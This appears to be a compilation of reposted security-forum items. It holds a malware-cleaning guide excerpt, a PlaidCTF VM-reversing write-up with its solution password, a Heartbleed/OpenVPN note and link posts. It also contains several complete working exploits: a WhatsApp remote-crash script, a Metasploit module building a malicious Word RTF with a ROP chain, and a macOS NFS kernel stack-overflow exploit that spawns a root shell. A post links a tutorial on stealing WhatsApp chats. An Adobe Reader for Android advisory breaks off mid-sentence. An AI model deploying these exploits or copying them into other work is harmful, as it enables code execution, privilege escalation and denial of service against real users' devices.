Write down useful information: o What were you doing at the time? Did you notice anything special? What was the time and date anyway? o Why do you believe your machine is infected? Which steps did you take already, if any? Did your antivirus prompt? o Inform your co-workers you’re going for a coffee break. Summary This concludes our three case studies – rogueware, Trojan Horse and rootkit. I do hope that you have enjoyed reading the article and going carefully through each step. We have seen three different case studies as described above, but it is totally not uncommon to have all three types of malware on the same machine. For example, certain families of rogueware have been seen to drop the infamous TDL4 rootkit variant. Goal is to ensure the persistence of the payload on the machine. Therefore, it is advised to always use an anti-rootkit as well. Remember that some malware is more advanced than others, and it might take you some time to fully disinfect a machine. Sometimes it’s easier, quicker and cleaner to perform a reinstallation of the operating system. If you’re ever stuck, there are many forums out there specifically for helping you in cleaning malware off an infected computer. As quickly as malware is evolving, so are the people who are constantly battling them – whether this would be antivirus companies, independent malware or security research folks, agencies and governments… Join our cause in making this world a malware-free environment and educate everyone around you, each day. Should you have any further questions, comments or remarks, I am always available for feedback. You can contact me via Twitter: @bartblaze . On the web https://zeltser.com/malware-analysis-toolkit - 5 Steps to Building a Malware Analysis Toolkit Using Free Tools Autoruns for Windows - Autoruns Blaze's Security Blog: Basics for a malware analysis lab - Basics for a malware analysis lab http://www.raktor.net/exeHelper/exeHelper.com - exeHelper http://www.gmer.net – GMER http://download.bleepingcomputer.com/sUBs/MiniFixes/Inherit.exe - Inherit KernelMode.info • View topic - List of Anti-Rootkits – List of anti-rootkits Process Explorer - Process Explorer RootkitRevealer - RootkitRevealer http://www.antirootkit.com/software/RootKit-Unhooker.htm - Rootkit Unhooker https://bartblaze.blogspot.com – The author’s own weblog Glossary Address space – in this context, memory address of a process. Botnet – a group of computers infected with malware and controlled by the so called bot herder. Botnets can be used to launch DDoS attacks, send spam … Dropper – a dropper is a program that installs or downloads additional malware on a system. LoveLetter – also known as ILOVEYOU worm – spread mostly via email, infected millions of machines. Master Boot Record – first 512 bytes at the first sector of a hard drive. Payload – modifications or damage done by malware. Zombie – computer infected with malware and possibly compromised by a hacker. Zombies are typically part of a botnet. Sursa: Blaze's Security Blog: Basic Malware Cleaning

PlaidCTF 2014 Paris writeup PlaidCTF 2014 Paris writeup Clue: This binary was found on some of our Windows machines. It's got The Plague written all over it. What secrets are contained inside? The download is a tbz file containing: $ md5sum paris.exe 11e9ffcc9d5e963eb9c2d806cedb2ad3 *paris.exe Using file we learn: $ file paris.exe paris.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows IDA reports that the import section has been destroyed which is typical of programs that have been obfuscated. The entry to the program is unspectacular, using ReadConsole to read up to 255 characters into a password buffer located at 0x401490, then overwriting the last two bytes (CRLF) of the input with nulls. Next function sub_402066 is called and we can see that if we return with esi == 0xdeadbeef and the global variable word_4024A3 == 0, that they program will print "Yeah!" We surmise that sub_402066 is the password checking function and investigate. Here is what the function looks like: .text:00402066 exceptionHell proc near ; CODE XREF: start+56 .text:00402066 xor ecx, ecx .text:00402068 .text:00402068 loc_402068: ; CODE XREF: exceptionHell+39 .text:00402068 push offset MAIN_EXC_HANDLER ; setup SEH == sub_402376 .text:0040206D push fs:off_7FFDE000 .text:00402074 mov fs:off_7FFDE000, esp .text:0040207B mov eax, 0 .text:00402080 mov [eax], eax ; NULL pointer deref generated MEMORY_ACCESS exception .text:00402082 sub edi, 1111h ; This is important .text:00402088 pop fs:off_7FFDE000 .text:0040208F add esp, 4 .text:00402092 cmp value_1, 1 .text:00402099 jz locret_401C90 .text:0040209F jmp short loc_402068 .text:0040209F exceptionHell endp This function simply generates MEMORY_ACCESS exceptions until the global variable halt_flag (byte_4024AA) == 1. So we move on to exploring the behavior of MAIN_EXC_HANDLER at 402376. As an SEH handler it has the following prototype: EXCEPTION_DISPOSITION __cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame, struct _CONTEXT *ContextRecord, void * DispatcherContext ); For this program the CONTEXT* is the thing we are interested in. This is where the faulting threads execution context is saved and provided to the exception handler for examination and possible modification. The CONTEXT struct contains space for all CPU registers, with the general purpose registers beginning at offset 0x9C into the struct. MAIN_EXC_HANDLER uses a global variable (byte_40225E) as an index into a jump table located at 0x40220E. The jump table contains 20 addresses and the function simply loops through the address from 0..19 repeatedly for the duration. At this point it starts to become clear that this main program loop is a simple virtual machine with a few twists. The basic details of the machine are as follows: 1. The machine has 20 simple instructions. The machines byte code begins at 0x401D8E. 2. The machine's pc is at word_4024A7. 3. The machine has a 256 word stack that grows from low memory to high memory at word_401A90 4. There is an initial value of 0x5a4d on the stack and the initial SP is 2. Push is post-increment, pop is pre-decrement. 5. The machine makes use of 16-bit registers that overlay the exception handlers CONTEXT struct such that uint16_t *registers = (uint16_t*)&CONTEXT._Edi. Thus registers[0] and registers[1] overlay _Edi, registers[2] and registers[3] overlay _Esi etc. This is important because the faulting thread's registers are restored from the CONTEXT struct on return from the exception which means that the VM register may be manipulated from within the exception handler and from outside the exception handler where they take their values at the moment an exception is triggered. In practice, the only register of significance that is changed outside the exception is edi which is manipulated at 402082 where 0x1111 is subtracted upon return from every exception. The next step in understanding the program was to determine what the 20 VM instructions do and if possible disassemble the virtual machine program responsible for verifying our password. None of the 20 instruction handlers are terribly difficult to understand and we end up with the following set of operations: Opcode Operation 0 nop 1 mov rA, rB ; registers[A] = registers[B] 2 mov password[rA], rB ; *(uint16_t*)(registers[A] + (uint8_t*)password) = registers[B] 3 mov rA, password[rB] ; registers[A] = bswap(*(uint16_t*)(registers[B] + (uint8_t*)password)) 4 mov rA, #imm ; registers[A] = 16 bit immediate 5 add rA, rB ; registers[A] += registers[B] 6 sub rA, rB ; registers[A] -= registers[B] 7 xor rA, rB ; registers[A] ^= registers[B] 8 and rA, rB ; registers[A] &= registers[B] 9 shr rA ; registers[A] >>= 8 10 not rA ; registers[A] ~= registers[A] 11 inc rA ; registers[A]++ 12 cmp rA, rB ; ZF = rA == rB 13 jmp dest ; pc = dest 14 beq dest ; if (ZF) pc = dest 15 push rA ; stack[sp] = registers[A], sp += 2 16 pop rA ; sp -= 2, registers[A] = stack[sp] 17 bswap rA ; registers[A] = bswap(registers[A]) 18 xortab rA ; for i in 0..512: lookup_table[i] ^= xor_key[registers[A]] 19 halt Where: 0x401490: password 0x401DFA: xor_key 0x401690: lookup_table One of the challenges with understanding what the virtual machine does is that at first glance it appears that the program simply does the following: i = 0 while not halt_flag: execute_inst(i) i = (i + 1) % 20 Upon further investigation it turns out that every instruction begins by saving all of the writable portions of the VM to a dedicated save area. Areas saved include the password buffer, stack, lookup table, stack pointer, program counter, halt flag, and registers. The operands for each instruction are encoded in 1-3 bytes taken from the "program" array at 0x401D8E. These bytes specify which VM registers the instruction operates on, any immediate data or jump target, and a value that indicates whether the instruction will be discarded or not. When an instruction is discarded, the VM state is restored from the state that was saved at the beginning of the instruction. A computation in the VM advances only when an instruction is not discarded. By modelling the behavior of the VM in a high level language we instrumented each instruction and recorded only those instructions that did not get discarded. From the instruction trace we learned that the program being executed in the virtual machine looked like the following: 0x00: nop 0x01: nop 0x02: nop 0x03: mov r4, #0x3133 0x06: mov r6, #0x0 0x09: mov r8, #0xff00 0x0c: mov r10, #0xff ; r6 used as index into our password LENGTH_LOOP: 0x0f: mov r0, htons(pass[r6]) <------- from 0x34 0x11: mov r14, r0 <***** r0 gets decremented by (18 * 0x1111) externally between 0x0f and 0x11 0x13: bswap r14 0x14: not r14 0x15: cmpeq r4, r14 0x17: beq 0x37 (BREAK) ; end of string \x00\x00 encountered 0x1a: mov r12, r14 0x1c: and r12, r8 ; HI(r12) 0x1e: and r14, r10 ; LO(R14) 0x20: shr r12, 8 0x21: xor r14, r12 ; xor the two bytes together 0x23: mov r12, #0x200 0x26: add r14, r14 ; double for uint16_t index 0x28: add r12, r14 0x2a: mov r14, htons(pass[r12]) 0x2c: bswap r14 0x2d: pop r12 0x2e: xor r14, r12 0x30: push r12 0x31: push r14 0x32: xortable r6 0x33: inc r6 0x34: jmp 0xf (LENGTH_LOOP) BREAK: 0x37: xor r14, r14 <---------- from 0x17 0x39: mov r4, #0x100 ; index to beginning of check values 0x3c: mov r12, #0xaf21 ; "end of" value for check values ; r4 starts at offset 256 into password buffer (static content) ; increments by 2 each pass CHECK_LOOP: 0x3f: mov r10, htons(pass[r4]) <---------- from 0x4c 0x41: bswap r10 0x42: inc r4 0x43: inc r4 0x44: pop r6 0x45: cmpeq r12, r10 0x47: beq 0x56 (MAYBE) 0x4a: cmpeq r6, r10 0x4c: beq 0x3f (CHECK_LOOP) FAIL: 0x4f: mov r6, #0x0 0x52: mov r4, #0x0 0x55: halt MAYBE: 0x56: mov r10, #0x5a4d <--------- from 0x47 ; "bottom" of stack marker 0x59: cmpeq r10, r6 0x5b: beq 0x65 (SUCCESS) FAIL2: 0x5e: mov r6, #0x0 0x61: mov r4, #0x0 0x64: halt SUCCESS: 0x65: mov r6, #0xdead <---------- from 0x5b 0x68: mov r4, #0xbeef 0x6b: halt Perhaps the trickiest aspect of the computation happens at 0xf, 0x11. Because VM register equates to DI, the sub edi, 0x1111 instruction in the main exception generator loop modifies the content of r0 between 0xf and 0x11. This is complicated by the fact that large numbers of VM instructions are simply discarded but 0x1111 is subtracted from edi regardless of whether the VM instruction was discarded or not. It was observed that 17 instructions were discarded between 0xf and 0x11 so r0 decrements by 18*0x1111 between 0xf and 0x11. At a high level, the program above advances through our password 1 byte at a time processing two bytes at a time, ie pass 0 takes pw[0:2], pass 1 takes pw[1:3}, etc. Processing ends when a double null is encountered. Each word is used to compute and index into a lookup table from which a word is extracted and placed on the stack. Following each pass, the entire lookup_table is xor'ed using a key byte based on the current index into the password buffer. Once the end of the password is reached, the stack is unwound and the values on the stack compared against an embedded list of values stored at 0x401590. Noting that 0xaf21 is used as an end marker, we can see that our password needs to generate 29 stack words. In other words, the password we are searching for is 29 characters long. .text:00401590 check_vals dw 2E0Bh, 6D02h, 7492h, 870Ch, 93B9h, 0EDB3h, 312Ch, 7107h .text:00401590 dw 7D10h, 2007h, 0E7C6h, 3A1Bh, 0BAD8h, 9417h, 0FA6Bh .text:00401590 dw 0BE6Ch, 621Dh, 4D3Bh, 47ADh, 7A7Ah, 3E9Dh, 53A2h, 0F22Fh .text:00401590 dw 0D1A9h, 0F574h, 8173h, 11BCh, 0AE15h, 6179h, 0AF21h The following code describes how passwords are processed and verified; for (pw = (uint16_t*)(password + r6); *pw; pw = (uint16_t*)(password + r6)) { uint16_t val = *pw; val1 = ~(bswap(val - 18 * 0x1111)); val2 = ((val1 >> 8) ^ val1) & 0xff; push bswap(lookup_table[val2]) ^ TOS //here entire lookup_table is xor'd against xor_key[r6] for (int i = 0; i < 512; i++) *(r6 + (uint8_t*)lookup) ^= xor_key[r6]; r6++; } idx = 0; while (1) { v = pop() if (v == 0x5a4d && check_vals[i] == 0xaf21) { esi = 0xdeadbeef; return; } if (v != check_vals[i]) fail } Recovering the password is a matter of understanding the following 1. Each work placed on the stack depends on two adjacent bytes of the password 2. The stack word is generated by using the two password bytes to read a value from the lookup table which is xored with the current top item on the stack 3. In the last pair of password bytes, one of the bytes is the terminating null 4. The fact that we know one byte in the password byte pair allows us to determine the second byte of the pair by xoring the top two check values to learn the corresponding lookup table, and work the process backward to learn what the other byte of the password byte pair was. 5. Once learn one byte we can repeat step 4 to gradually reveal all of the key bytes. As an example of working the problem, the first item on the stack needs to be 0x6179 = lookup_val ^ 0x5a4d lookup_val = 0x6179 ^ 0x5a4d lookup_val = 0x3B34 which we find at 221 into the lookup table 221 is thus the result of a transformation on password[0] and password[1] we can similarly compute the lookup table indicies for all of the check_values knowing that password[29] == 0 allows to work backwards to solve for password password[28], password[27], etc. A solver may be found at: http://www.idabook.com/paris_solver.c Final password: V1rTu4L_M4ch1n3s_4r3_Aw3s0m3! Sursa: http://www.idabook.com/paris_writeup.txt

AVCaesar is a malware analysis engine and repository. Your suspicious files can be analysed by a set of antivirus. Currently the database contains 1,894,725 samples. http://avcaesar.malware.lu/

[h=3]Heartbleed for OpenVPN[/h]Core to the VRT's mission is challenging the general intrusion detection industry's view of "adequate" vulnerability coverage. One way we do this is to seek out new attack vectors for critical vulnerabilities the industry may have overlooked and take the initiative to write the proof of concept code and detection for aspects of a vulnerability that others might have missed. You no doubt have heard by now about the Heartbleed vulnerability and its implications for HTTPS servers that run the vulnerable versions of OpenSSL. Something not discussed enough is its implications for services running on protocols other than HTTP that also rely on OpenSSL. One such case is OpenVPN. The OpenVPN protocol encapsulates the SSL/TLS session used for authentication, key exchange, and data tunneling in order to provide the reliable transport layer the SSL/TLS session needs, (since OpenVPN is often run over UDP). One improvement, and challenge to exploitation, that OpenVPN provides over vanilla TLS is that it supports optional HMAC signing of OpenVPN messages using a passphrase or key. This is a challenge to the attacker because not only do you need to properly encapsulate your malicious heartbeat message, you also (in cases where the server requires message signing) have to sign it with a valid HMAC. It is important to note that HMAC signing does not prevent the OpenVPN server from being vulnerable, as it is still possible to leak memory using HMAC signing if you have the passphrase or key. Unfortunately many OpenVPN servers have this feature disabled and are vulnerable to memory disclosure without authentication. If you are running an OpenVPN server, it is strongly recommended that you upgrade to the latest version of OpenSSL and enable HMAC signing of OpenVPN messages. The VRT has developed working Heartbleed exploits for OpenVPN running over TCP and UDP. Detection for this vulnerability includes coverage for servers running over TCP and UDP with HMAC signing and without HMAC signing in SIDs 30711 through 30742. Sursa: VRT: Heartbleed for OpenVPN

One week of OpenSSL cleanup After the news of heartbleed broke early last week, the OpenBSD team dove in and started axing it up into shape. Leading this effort are Ted Unangst (tedu@) and Miod Vallat (miod@), who are head-to-head on a pure commit count basis with both having around 50 commits in this part of the tree in the week since Ted's first commit in this area. They are followed closely by Joel Sing (jsing@) who is systematically going through every nook and cranny and applying some basic KNF. Next in line are Theo de Raadt (deraadt@) and Bob Beck (beck@) who've been both doing a lot of cleanup, ripping out weird layers of abstraction for standard system or library calls. Then Jonathan Grey (jsg@) and Reyk Flöter (reyk@) come next, followed by a group of late starters. Also, an honorable mention for Christian Weisgerber (naddy@), who has been fixing issues in ports related to this work. All combined, there've been over 250 commits cleaning up OpenSSL. In one week. Some of these are simple or small changes, while other commits carry more weight. Of course, occasionally mistakes get made but these are also quickly fixed again, but the general direction is clear: move the tree forward towards a better, more readable, less buggy crypto library. Sursa: One week of OpenSSL cleanup

Linux x86 Reverse Engineering Shellcode Disassembling and XOR decryption Harsh N. Daftary Sr. Security Researcher at CSPF Security Consultant at Trunkoz Technologies info@securityLabs.in Download: http://dl.packetstormsecurity.net/papers/shellcode/re_shellcode.pdf

International Journal of PoC || GTFO Issue 0x00, a CFP with PoC An epistle from the desk of Rt. Revd. Pastor Manul Laphroaig pastor@phrack.org August 5, 2013 --------------------------------------------------------------------------------------- Proceedings of the Society of PoC || GTFO Issue 0x01, an Epistle to the 10th H2HC in São Paulo From the writing desk, not the raven, of Rt. Revd. Preacherman Pastor Manul Laphroaig pastor@phrack.org October 6, 2013 --------------------------------------------------------------------------------------- Children’s Bible Coloring Book of PoC || GTFO Issue 0x02, an Epistle to the 30th CCC Congress in Hamburg Composed by the Rt. Revd. Pastor Manul Laphroaig to put pwnage before politics. pastor@phrack.org --------------------------------------------------------------------------------------- ANADDRESS to the SECRETSOCIETY of POC || GTFO concerning THEGOSPELOFTHEWEIRDMACHINES and also THESMASHINGOFIDOLSTOBITSANDBYTES by the Rt. Revd. Dr. PASTORMANULLAPHROAIG pastor@phrack.org --------------------------------------------------------------------------------------- Download issues: 0. http://www.exploit-db.com/wp-content/themes/exploit/docs/pocorgtfo00.pdf 1. http://www.exploit-db.com/wp-content/themes/exploit/docs/pocorgtfo01.pdf 2. http://www.exploit-db.com/wp-content/themes/exploit/docs/pocorgtfo02.pdf 3. http://www.exploit-db.com/wp-content/themes/exploit/docs/pocorgtfo03.pdf

Whatsapp ? your LAST SEEN wasn’t my fault Sir I want to hack whatsapp chat ? Please give me a tutorial link This question made me to write this simple POC tutorial to hack/steal whatsapp chats from any android mobile (in intial level), so as we know whatsapp is one of the very famous chat messenger used in mobile this days recently acquired by facebook Download: http://www.exploit-db.com/wp-content/themes/exploit/docs/32719.pdf

[h=1]WhatsApp < v2.11.7 - Remote Crash[/h] #!/usr/bin/python #-*- coding: utf-8 -* # Title: WhatsApp Remote Crash on non-printable characters # Product: WhatsApp # Vendor Homepage: http://www.whatsapp.com # Vulnerable Version(s): 2.11.7 and prior on iOS # Tested on: WhatsApp v2.11.7 on iPhone 5 running iOS 7.0.4 # Solution Status: Fixed by Vendor on v2.11.8 # Date: 8/04/2014 # # Authors: # Jaime Sánchez @segofensiva <jsanchez (at) seguridadofensiva.com> # Pablo San Emeterio @psaneme <psaneme (at) gmail.com> # # Custom message with non-printable characters will crash any WhatsApp client < v2.11.7 for iOS. # It uses Yowsup library, that provides us with the options of registration, reading/sending messages, and even # engaging in an interactive conversation over WhatsApp protocol # # More info at: # [url]http://www.seguridadofensiva.com/2014/04/crash-en-whatsapp-para-iphone-en-versiones-inferiores-a-2.11.7.html[/url] # See the slides of the research/talk at RootedCON 2014 at: # [url]http://www.slideshare.net/segofensiva/whatsapp-mentiras-y-cintas-de-video-rootedcon-2014[/url] import argparse, sys, os, csv from Yowsup.Common.utilities import Utilities from Yowsup.Common.debugger import Debugger from Yowsup.Common.constants import Constants from Examples.CmdClient import WhatsappCmdClient from Examples.EchoClient import WhatsappEchoClient from Examples.ListenerClient import WhatsappListenerClient from Yowsup.Registration.v1.coderequest import WACodeRequest from Yowsup.Registration.v1.regrequest import WARegRequest from Yowsup.Registration.v1.existsrequest import WAExistsRequest from Yowsup.Registration.v2.existsrequest import WAExistsRequest as WAExistsRequestV2 from Yowsup.Registration.v2.coderequest import WACodeRequest as WACodeRequestV2 from Yowsup.Registration.v2.regrequest import WARegRequest as WARegRequestV2 from Yowsup.Contacts.contacts import WAContactsSyncRequest import threading,time, base64 DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth" COUNTRIES_CSV = "countries.csv" DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth" ######## Yowsup Configuration file ##################### # Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n # phone: Your full phone number including country code, without '+' or '00' # id: This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup # on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions # of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on # a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials # or want to register, you can leave this field blank or set it to some random text. # password: Password to use for login. You obtain this password when you register using Yowsup. ###################################################### MINE_CONFIG ="config.cfg" def getCredentials(config = DEFAULT_CONFIG): if os.path.isfile(config): f = open(config) phone = "" idx = "" pw = "" cc = "" try: for l in f: line = l.strip() if len(line) and line[0] not in ('#',';'): prep = line.split('#', 1)[0].split(';', 1)[0].split('=', 1) varname = prep[0].strip() val = prep[1].strip() if varname == "phone": phone = val elif varname == "id": idx = val elif varname =="password": pw =val elif varname == "cc": cc = val return (cc, phone, idx, pw); except: pass return 0 def main(phone): credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG ) if credentials: countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(password) # Custom message that will crash WhatsApp message = message = "\xf4\xaa\xde\x04\xbf" #print countryCode, login, identity, password wa = WhatsappEchoClient(phone, message) wa.login(login, password) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("number", help="Phone number to send the crash message") parser.add_argument("-v", "--verbose", help="increase output verbosity", action="store_true") args = parser.parse_args() Debugger.enabled = args.verbose main(args.number) Sursa: http://www.exploit-db.com/exploits/32865/

[h=1]MS14-017 Microsoft Word RTF Object Confusion[/h] ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => "MS14-017 Microsoft Word RTF Object Confusion", 'Description' => %q{ This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how a listoverridecount field can be modified to treat one structure as another. This bug was originally seen being exploited in the wild starting in April 2014. This module was created by reversing a public malware sample. }, 'Author' => [ 'Haifei Li', # vulnerability analysis 'Spencer McIntyre', 'unknown' # malware author ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-1761'], ['MSB', 'MS14-017'], ['URL', 'http://blogs.mcafee.com/mcafee-labs/close-look-rtf-zero-day-attack-cve-2014-1761-shows-sophistication-attackers'], ['URL', 'https://www.virustotal.com/en/file/e378eef9f4ea1511aa5e368cb0e52a8a68995000b8b1e6207717d9ed09e8555a/analysis/'] ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'Payload' => { 'StackAdjustment' => -3500, 'Space' => 375, 'DisableNops' => true }, 'Targets' => [ # winword.exe v14.0.7116.5000 (SP2) [ 'Microsoft Office 2010 SP2 English on Windows 7 SP1 English', { } ], ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Apr 1 2014')) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.rtf']) ], self.class) end def exploit junk = rand(0xffffffff) rop_chain = [ 0x275de6ae, # ADD ESP,0C # RETN [MSCOMCTL.ocx] junk, junk, 0x27594a2c, # PUSH ECX # POP ESP # AND DWORD PTR [ESI+64],0FFFFFFFB # POP ESI # POP ECX # RETN [MSCOMCTL.ocx] 0x2758b042, # RETN [MSCOMCTL.ocx] 0x2761bdea, # POP EAX # RETN [MSCOMCTL.ocx] 0x275811c8, # ptr to &VirtualAlloc() [IAT MSCOMCTL.ocx] 0x2760ea66, # JMP [EAX] [MSCOMCTL.ocx] 0x275e0081, # POP ECX # RETN [MSCOMCTL.ocx] 0x40000000, 0x00100000, 0x00003000, 0x00000040, 0x00001000, 0x275fbcfc, # PUSH ESP # POP EDI # POP ESI # RETN 8 [MSCOMCTL.ocx] junk, 0x275e0861, # MOV EAX,EDI # POP EDI # POP ESI # RETN [MSCOMCTL.ocx] junk, junk, junk, junk, 0x275ebac1, # XCHG EAX,ESI # NOP # ADD EAX,MSORES+0x13000000 # RETN 4 [MSCOMCTL.ocx] 0x275e0327, # POP EDI # RETN [MSCOMCTL.ocx] junk, 0x40000000, 0x275ceb04, # REP MOVS BYTE [EDI],BYTE [ESI] # XOR EAX,EAX # JMP MSCOMCTL!DllGetClassObject0x3860 [MSCOMCTL.ocx] junk, junk, junk, junk, 0x40000040 ].pack("V*") exploit_data = [ junk ].pack("v") exploit_data << rop_chain exploit_data << payload.encoded exploit_data << make_nops(exploit_data.length % 2) exploit_data = exploit_data.unpack("S<*") exploit_data = exploit_data.map { |word| " ?\\u-#{0x10000 - word}" } exploit_data = exploit_data.join template_part1 = 0x1e04 template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1761.rtf") template_rtf = ::File.open(template_path, 'rb') exploit_rtf = template_rtf.read(template_part1) exploit_rtf << exploit_data exploit_rtf << template_rtf.read file_create(exploit_rtf) end end Sursa: http://www.exploit-db.com/exploits/32793/

[h=1]Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount - Privilege Escalation Exploit[/h] /* * Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit * CVE None * by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com> * * * Notes: * This exploit leverage a stack overflow vulnerability to escalate privileges. * The vulnerable function nfs_convert_old_nfs_args does not verify the size * of a user-provided argument before copying it to the stack. As a result by * passing a large size, a local user can overwrite the stack with arbitrary * content. * * Tested on Max OS X Lion xnu-1699.22.73 (x86_64) * Tested on Max OS X Lion xnu-1699.32.7 (x86_64) * * Greets to taviso, spender, joberheide */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <errno.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> /** change these to fit your environment if needed **/ #define SSIZE (536) /** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/ struct user_nfs_args { int version; /* args structure version number */ char* addr __attribute__((aligned(8))); /* file server address */ int addrlen; /* length of address */ int sotype; /* Socket type */ int proto; /* and Protocol */ char * fh __attribute__((aligned(8))); /* File handle to be mounted */ int fhsize; /* Size, in bytes, of fh */ int flags; /* flags */ int wsize; /* write size in bytes */ int rsize; /* read size in bytes */ int readdirsize; /* readdir size in bytes */ int timeo; /* initial timeout in .1 secs */ int retrans; /* times to retry send */ int maxgrouplist; /* Max. size of group list */ int readahead; /* # of blocks to readahead */ int leaseterm; /* obsolete: Term (sec) of lease */ int deadthresh; /* obsolete: Retrans threshold */ char* hostname __attribute__((aligned(8))); /* server's name */ /* NFS_ARGSVERSION 3 ends here */ int acregmin; /* reg file min attr cache timeout */ int acregmax; /* reg file max attr cache timeout */ int acdirmin; /* dir min attr cache timeout */ int acdirmax; /* dir max attr cache timeout */ /* NFS_ARGSVERSION 4 ends here */ uint auth; /* security mechanism flavor */ /* NFS_ARGSVERSION 5 ends here */ uint deadtimeout; /* secs until unresponsive mount considered dead */ }; /** sets the uid for the current process and safely exits from the kernel**/ static void r00t_me() { asm( // padding "nop; nop; nop; nop;" // task_t %rax = current_task() "movq %%gs:0x00000008, %%rax;" "movq 0x00000348(%%rax), %%rax;" // proc %rax = get_bsdtask_info() "movq 0x000002d8(%%rax),%%rax;" // ucred location at proc "movq 0x000000d0(%%rax),%%rax;" // uid = 0 "xorl %%edi, %%edi;" "movl %%edi, 0x0000001c(%%rax);" "movl %%edi, 0x00000020(%%rax);" // fix the stack pointer and return (EACCES) "movq $13, %%rax;" "addq $0x00000308,%%rsp;" "popq %%rbx;" "popq %%r12;" "popq %%r13;" "popq %%r14;" "popq %%r15;" "popq %%rbp;" "ret;" :::"%rax" ); } int main(int argc, char ** argv) { struct user_nfs_args xdrbuf; char * path; char obuf[SSIZE]; /** clear the arguments **/ memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args)); memset(obuf, 0x00, SSIZE); /** set up variable to get path to vulnerable code **/ xdrbuf.version = 3; xdrbuf.hostname = "localhost"; xdrbuf.addrlen = SSIZE; xdrbuf.addr = obuf; /** set ret address **/ *(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5); printf(" [*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]); /** create a unique tmp name **/ if ((path = tmpnam(NULL)) == NULL) { // path can be any directory which we have read/write/exec access // but I'd much rather create one instead of searching for one perror("[-] tmpnam"); exit(EXIT_FAILURE); } /** make the path in tmp so that we can use it **/ if (mkdir(path, 0660) < 0) { perror("[-] mkdir"); exit(EXIT_FAILURE); } /** inform the user that the path was created **/ printf(" [*] created sploit path%s\n", path); /** call the vulnerable function **/ if (mount("nfs", path, 0, &xdrbuf) < 0) { if (errno == EACCES) { puts("[+] escalating privileges..."); } else { perror("[-] mount"); } } /** clean up tmp dir **/ if (rmdir(path) < 0) { perror("[-] rmdir"); } /** check if privs are equal to root **/ if (getuid() != 0) { puts("[-] priviledge escalation failed"); exit(EXIT_FAILURE); } /** get root shell **/ printf("[+] We are now uid=%i ... your welcome!\n", getuid()); printf("[+] Dropping a shell.\n"); execl("/bin/sh", "/bin/sh", NULL); return 0; } Sursa: http://www.exploit-db.com/exploits/32813/

[h=1]Adobe Reader for Android 11.1.3 - Arbitrary JavaScript Execution[/h] ------------------------------------------------------------------------ Adobe Reader for Android exposes insecure Javascript interfaces ------------------------------------------------------------------------ Yorick Koster, April 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ Adobe Reader for Android [2] exposes several insecure Javascript interfaces. This issue can be exploited by opening a malicious PDF in Adobe Reader. Exploiting this issue allows for the execution of arbitrary Java code, which can result in a compromise of the documents stored in Reader and files stored on SD card. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully verified on Adobe Reader for Android version 11.1.3. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ Adobe released version 11.2.0 of Adobe Reader that add @javascriptInterface [3] annotations to public methods that should be exposed in the Javascript interfaces. In addition, the app now targets API Level 17 and contains a static method (shouldInitializeJavaScript()) that is used to check the device's Android version. [url]http://www.securify.nl/advisory/SFY20140401/reader_11.2.0_release_notes.png[/url] Figure 1: Adobe Reader for Android 11.2.0 release notes ------------------------------------------------------------------------ Introduction ------------------------------------------------------------------------ Adobe Reader for Android allows users to work with PDF documents on an Android tablet or phone. According to Google Play, the app is installed on 100 million to 500 million devices. The following classes expose one or more Javascript interfaces: - ARJavaScript - ARCloudPrintActivity - ARCreatePDFWebView The app targets API Level 10, which renders the exposed Javascript interfaces vulnerable to code execution - provided that an attacker manages to run malicious Javascript code within Adobe Reader. ------------------------------------------------------------------------ PDF Javascript APIs ------------------------------------------------------------------------ It appears that Adobe Reader for Mobile supports [4] a subset of the Javascript for Acrobat APIs. For some reason the exposed Javscript objects are prefixed with an underscore character. public class ARJavaScript { [...] public ARJavaScript(ARViewerActivity paramARViewerActivity) { [...] this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader"); this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app"); this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc"); this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString"); this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event"); this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field"); this.mWebView.setWebViewClient(new ARJavaScript.1(this)); this.mWebView.loadUrl("file:///android_asset/javascript/index.html"); } An attacker can create a specially crafted 